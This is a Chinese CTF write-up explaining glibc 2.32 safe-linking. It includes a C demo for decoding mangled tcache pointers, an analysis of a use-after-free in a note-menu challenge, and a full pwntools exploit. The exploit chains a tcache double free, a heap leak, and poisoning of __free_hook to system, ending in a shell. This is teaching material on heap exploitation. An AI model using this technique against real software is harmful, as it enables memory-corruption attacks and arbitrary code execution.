关于glibc2.32引入的safe-linking的一些总结

首先看一下glibc2.32的部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

long decrypt(long cipher)
{
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
puts("because of the 12bit sliding.");
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
long key = 0;
long plain;

for(int i=1; i<6; i++) {
int bits = 64-12*i;
if(bits < 0) bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain: %#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}

int main()
{
/*
* This technique demonstrates how to recover the original content from a poisoned
* value because of the safe-linking mechanism.
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
* and the key (ASLR slide) is the same to the pointer's leading bits.
* As a result, as long as the chunk where the pointer is stored is at the same page
* of the pointer itself, the value of the pointer can be fully recovered.
* Otherwise, we can also recover the pointer with the page-offset between the storer
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
* For demonstrations of other more general cases, plz refer to
* https://github.com/n132/Dec-Safe-Linking
*/

setbuf(stdin, NULL);
setbuf(stdout, NULL);

// step 1: allocate chunks
long *a = malloc(0x20);
long *b = malloc(0x20);
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
malloc(0x10);
puts("And then create a padding chunk to prevent consolidation.");

// step 2: free chunks
puts("Now free chunk a and then free chunk b.");
free(a);
free(b);
printf("Now the freelist is: [%p -> %p]\n", b, a);
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);

// step 3: recover the values
puts("Now decrypt the poisoned value");
long plaintext = decrypt(b[0]);

printf("value: %p\n", a);
printf("recovered value: %#lx\n", plaintext);
assert(plaintext == (long)a);
}

在之前的glibc版本没有引入safe-linking时,对于进入 tcache 的 chunk,free 掉之后用户区前 8 字节会直接存下一个空闲 chunk 的地址,也就是 fd

1
2
3
freed_chunk:
+0x00: next_chunk_addr
+0x08: tcache_key

这样如果存在UAF漏洞,就可以直接改fd指针为 _free_hook,下一次malloc就会分配到 __free_hook

而在2.32之后,对 tcache 单链表里的 next 指针不再直接存真实地址,而是按“存放这个指针的位置”做异或编码,可以写成encoded_fd = real_fd ^ (store_addr >> 12)

也就是说:

1
2
3
freed_chunk:
+0x00: real_fd ^ (store_addr >> 12)
+0x08: tcache_key

这里的 store_addr 可以理解为当前这个 freed chunk 用户区里存 fd 的那个位置;为什么要 >> 12:因为地址低 12 位通常是页内偏移,ASLR 主要随机化页基址,右移 12 位相当于拿这个存储位置所在页的高位参与异或

接下来我们用一道题来详细说明:

通过网盘分享的文件:pwn.rar
链接: https://pan.baidu.com/s/18aNC15HMvRdz33khARf9PA 提取码: e6v4

image-20260412192643364

看下版本,这题用的是 glibc 2.32,所以 tcache 有 safe-linking 保护。safe-linking 的作用是:free 掉 chunk 后,tcache 里不会直接保存下一个 chunk 的真实地址,而是保存一个按存储位置异或编码后的值。它本质上是一种指针混淆,不是真正意义上的加密。

image-20260412192244941

可以看出这是一道经典菜单题,分析各个函数可以看到del函数存在UAF漏洞,没有把noteList[idx] = NULL

image-20260412192412252

safe-linking 后,fd 不再直接等于目标地址,而是:

1
encoded_fd = target ^ (store_addr >> 12)

所以如果我们想把 tcache 的 fd 改成 __free_hook,不能直接写p64(free_hook),而要写:p64(free_hook ^ (heap_chunk >> 12))
也就是脚本里的这一句:

1
edit(p64(free_hook^(heap_chunk>>12))+p64(0))

这里的 heap_chunk 就是当前被我们 UAF 控制的那个 freed chunk 用户区地址,也就是存放 fd 的位置。glibc 后面 malloc 取 tcache chunk 的时候,会再异或一次:

1
encoded_fd ^ (heap_chunk >> 12)

这样才能还原出真正的 _free_hook

利用思路大概是:

先申请 16 个 0x78 chunk。0x78 是用户传给 malloc 的大小,加上 glibc chunk header 后进入 0x80 tcache bin;如果直接传 0x80,程序会因为 size > 0x7e 把它改成 0x7f,最终进入 0x90 bin,所以这里用 0x78 更稳。申请 16 个填满 noteList,因为 noteList 只有 16 个槽,填满后后续 add 虽然还能 malloc,但不会再更新 idx,这样 idx 会一直指向最后一个 chunk。

然后 delete() 释放最后一个 chunk。这里程序只 free,没有把 noteList[idx] 清零,所以 idx 对应的旧指针还在,后面 show/edit/delete 都还能继续操作这个已经 free 的 chunk,这就是 UAF。

接着用隐藏的 edit(5) 改 freed chunk。chunk 进入 tcache 后,用户区前 16 字节变成 tcache 管理数据:前 8 字节是 fd,后 8 字节是 key。glibc 会用 key 检测 double free,所以要再次 free 同一个 chunk 前,先用 edit(p64(0)+p64(0)) 把 key 清掉。其中第一个 p64(0) 覆盖 fd,第二个 p64(0) 覆盖 key,重点是第二个。

清掉 key 后再次 delete(),同一个 chunk 就会被放进 tcache 两次,形成 tcache double free。然后用 show() 读 freed chunk 的前 8 字节,拿到 safe-linking 编码后的 fd。glibc 2.32 不直接保存 fd,而是保存 fd ^ (store_addr >> 12),所以需要用 dec() 把泄露值还原成 heap_chunk 地址。这里之所以能还原,是因为这一题里我们既能读到编码值,又能利用堆地址按页异或的关系逐步把它解出来。

拿到 heap_chunk 后,第二次 edit() 做 tcache poisoning,把 fd 改成 _free_hook 的编码值,也就是 free_hook ^ (heap_chunk >> 12)。这样下一次 malloc 解码 fd 时,得到的目标地址就是 __free_hook。

后面两次 add():第一次 malloc 拿回原来的 heap chunk,往里面写 /bin/sh\x00;第二次 malloc 会被 tcache poisoning 引到 _free_hook,往 __free_hook 写 system 地址。因为前面 noteList 已经满了,这两次 add 不会更新 idx,所以 idx 仍然指向写着 /bin/sh 的原 chunk。

最后 delete() 释放 idx 指向的 chunk。此时 __free_hook 已经被改成 system,所以 free(“/bin/sh”) 实际变成 system(“/bin/sh”),最终拿到 shell。也可以看出safe-linking 主要是在阻止你盲改 fd,一旦能泄露并恢复相关堆地址,还是可以继续完成 tcache poisoning。

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc=ELF("./libc.so.6",checksec=False)
ld="./ld-2.32.so"
p=process([ld,"--library-path",".","./pwn"])

def dec(v):
res=0
for i in range(1,7):
bits=max(64-12*i,0)
res=((v^(res>>12))>>bits)<<bits
return res

def cmd(idx):
p.sendlineafter(b">>",str(idx).encode())

def add(size,content):
cmd(1)
p.sendlineafter(b"Size:",str(size).encode())
p.sendafter(b"Content:",content)

def delete():
cmd(2)

def show():
cmd(3)
return u64(p.recvn(8))

def edit(content):
cmd(5)
p.sendafter(b"Content:",content)

#本地的libc 偷懒了直接读/proc/<pid>/maps 主要是注重说safe-linking
libc.address=p.libs()[libc.path]
success("libc_base => "+hex(libc.address))

for i in range(16):
add(0x78,b"A"*8)

delete()
edit(p64(0)+p64(0))
delete()

heap_chunk=dec(show())
success("heap_chunk => "+hex(heap_chunk))

free_hook=libc.sym["__free_hook"]
system=libc.sym["system"]
success("__free_hook => "+hex(free_hook))

edit(p64(free_hook^(heap_chunk>>12))+p64(0))
add(0x78,b"/bin/sh\x00")
add(0x78,p64(system))
delete()

p.interactive()